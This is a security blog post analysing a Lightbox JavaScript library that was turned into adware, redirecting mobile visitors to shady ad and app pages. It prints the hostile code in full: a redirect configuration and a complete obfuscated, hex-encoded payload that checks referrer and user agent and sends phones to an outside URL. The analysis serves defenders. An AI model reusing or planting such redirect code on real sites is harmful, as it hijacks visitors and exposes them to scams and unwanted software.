Lightbox Adware – From Innocent Scripts to Malicious Redirects

It’s no news that webmasters commonly make use of external scripts to add more features to their site, but things can turn out for the worse quite easily.

What if other scripts start behaving the same?

What if they start to use your website to spread ransomware?

Visitors Redirected to Random Websites on Mobile

Recently, we received a case where visitors who accessed a site via mobile were redirected to various random sites.

Upon closer inspection, we found that the culprit was this external script:

Malicious snippet

This script is used quite frequently by various webmasters to provide easy Lightbox functionalities on their websites.

Dissecting the Script

A quick look at the script shows us that it instantly makes a call to another script:

hxxp://dimsemenov-static[.]s3-cdn[.]com/js/get-js.js

Now, after decoding the file we can see that this script does indeed provide Lightbox functionalities. It also has a very particular set of lines appended to it:

(window, document, window[window.popns || uF6x.A(1)]);

s3_cdn_com.config({

perpage: 1

}).add('hxxp://click[.]thebestoffer[.]gq/?utm_medium=6a9d4be48f9dd74ece2547f9a7d3ed068107809c&utm_campaign=js_1&1=&2=', {

device: 'mobile',

cookieExpires: 86400,

noReferer: true

});

This piece of code will redirect mobile users to that link hxxp://click[.]thebestoffer[.]gq/?utm_medium=6a9d4be48f9dd74ece2547f9a7d3ed068107809c&utm_campaign=js_1&1=&2=

From there, the visitor would be taken to various pages such as ones that display certain apps for download and install, or just random tech articles.

Pages with downloadable apps
Pages with downloadable apps

If the visitors choose to install any of those apps, they are then taken to the respective official store’s webpage for the app.

After some time, the script had already changed into a different campaign. Here we can see the contents:

var _0x3ae7=["x65x78x70x69x72x65x73","x6Ex75x6Dx62x65x72","x67x65x74x54x69x6Dx65","x73x65x74x54x69x6Dx65","x74x6Fx55x54x43x53x74x72x69x6Ex67","x3D","x3Bx20","x63x6Fx6Fx6Bx69x65","x28x3Fx3Ax5Ex7Cx3Bx20x29","x5Cx24x31","x72x65x70x6Cx61x63x65","x3Dx28x5Bx5Ex3Bx5Dx2Ax29","x6Dx61x74x63x68","x61","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x68x72x65x66","x68x6Fx73x74x6Ex61x6Dx65","x67x6Fx77x65x73x74x63x6Fx6Fx6Bx69x65","x74x72x75x65","x2F","x72x65x66x65x72x72x65x72","x67x6Fx6Fx67x6Cx65x2E","x69x6Ex64x65x78x4Fx66","x75x73x65x72x41x67x65x6Ex74","x74x65x73x74","x68x74x74x70x73x3Ax2Fx2Fx79x6Fx75x2Ex31x67x6Fx77x65x73x74x2Ex74x6Fx70x2Fx3Fx75x74x6Dx5Fx6Dx65x64x69x75x6Dx3Dx38x37x65x34x61x64x34x65x35x38x37x64x36x61x33x63x36x36x38x65x34x64x64x61x35x37x61x33x31x65x61x36x30x61x30x32x33x35x62x32x26x75x74x6Dx5Fx63x61x6Dx70x61x69x67x6Ex3Dx31x67x6Fx77x65x73x74"];function gowest_setCookie(_0x564cx2,_0x564cx3,_0x564cx4){_0x564cx4= _0x564cx4|| {};var _0x564cx5=_0x564cx4[_0x3ae7[0]];if( typeof _0x564cx5== _0x3ae7[1]&& _0x564cx5){var _0x564cx6= new Date();_0x564cx6[_0x3ae7[3]](_0x564cx6[_0x3ae7[2]]()+ _0x564cx5* 1000);_0x564cx5= _0x564cx4[_0x3ae7[0]]= _0x564cx6};if(_0x564cx5&& _0x564cx5[_0x3ae7[4]]){_0x564cx4[_0x3ae7[0]]= _0x564cx5[_0x3ae7[4]]()};_0x564cx3= encodeURIComponent(_0x564cx3);var _0x564cx7=_0x564cx2+ _0x3ae7[5]+ _0x564cx3;for(var _0x564cx8 in _0x564cx4){_0x564cx7+= _0x3ae7[6]+ _0x564cx8;var _0x564cx9=_0x564cx4[_0x564cx8];if(_0x564cx9!== true){_0x564cx7+= _0x3ae7[5]+ _0x564cx9}};document[_0x3ae7[7]]= _0x564cx7}function gowest_getCookie(_0x564cx2){var _0x564cxb=document[_0x3ae7[7]][_0x3ae7[12]]( new RegExp(_0x3ae7[8]+ _0x564cx2[_0x3ae7[10]](/([.$?*|{}()[]\/+^])/g,_0x3ae7[9])+ _0x3ae7[11]));return _0x564cxb?decodeURIComponent(_0x564cxb[1]):undefined}function gowest_parseURL(_0x564cxd){var _0x564cxe=document[_0x3ae7[14]](_0x3ae7[13]);_0x564cxe[_0x3ae7[15]]= _0x564cxd;return _0x564cxe[_0x3ae7[16]]}function gowestnow(){if(!gowest_getCookie(_0x3ae7[17])){gowest_setCookie(_0x3ae7[17],_0x3ae7[18],{expires:3600* 24* 30,path:_0x3ae7[19]});var _0x564cx10=gowest_parseURL(document[_0x3ae7[20]]);if(_0x564cx10[_0x3ae7[22]](_0x3ae7[21])!=  -1){if(/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i[_0x3ae7[24]](navigator[_0x3ae7[23]])){location[_0x3ae7[10]](_0x3ae7[25])}}}}gowestnow()

This will redirect the visitor to: https://you.1gowest.top/?utm_medium=87e4ad4e587d6a3c668e4dda57a31ea60a0235b2&utm_campaign=1gowest, which in turn will land the visitor to another shady looking page.

Is This Script Malicious?

In order to determine if this script behavior can be considered malicious or not, here is  a quick checklist:

  • Are visitors being redirected? Yes.
  • Is it targeting only mobile browsers? Yes.
  • Are visitors landing on pages that redirect to unwanted software on iTunes and Google Play stores? Yes.
  • Is it possible that the redirects may lead to malicious software or content? Yes.

So far, there hasn’t been anything extremely malicious, such as ransomware. However, this undesired redirect and the unclear communication of this “feature” by the script developers defines this as malicious behavior.

Why Would the Developer Add Malicious Redirects?

It’s always hard to make a buck on software. It’s even harder when you are providing it for free. In those cases, including paid advertisement is the easiest way for the developer to generate revenue on the downloaded tool, app, or script.

Sometimes the developer may include ads from networks that don’t filter malicious campaigns properly, causing problems as described here. Or the tool may become popular and sold to a not so well-intended group that may add malicious code as a new “feature” on the next update.

Conclusion

It’s important that webmasters are mindful of every external asset added to the website. They should understand that those assets can very quickly turn against you—damaging the visitor experience and your site’s reputation.

This is not the first time we’ve seen apparently legitimate assets going to the dark side. Here are some previous cases in which scripts became malicious redirects:

If you are looking for peace of mind, we recommend adding your website to our website security platform that includes malware detection, protection, and response in case of a website hack.



*** This is a Security Bloggers Network syndicated blog from Sucuri Blog authored by Cesar Anjos. Read the original post at: https://blog.sucuri.net/2019/06/lightbox-adware-from-innocent-scripts-to-malicious-redirects.html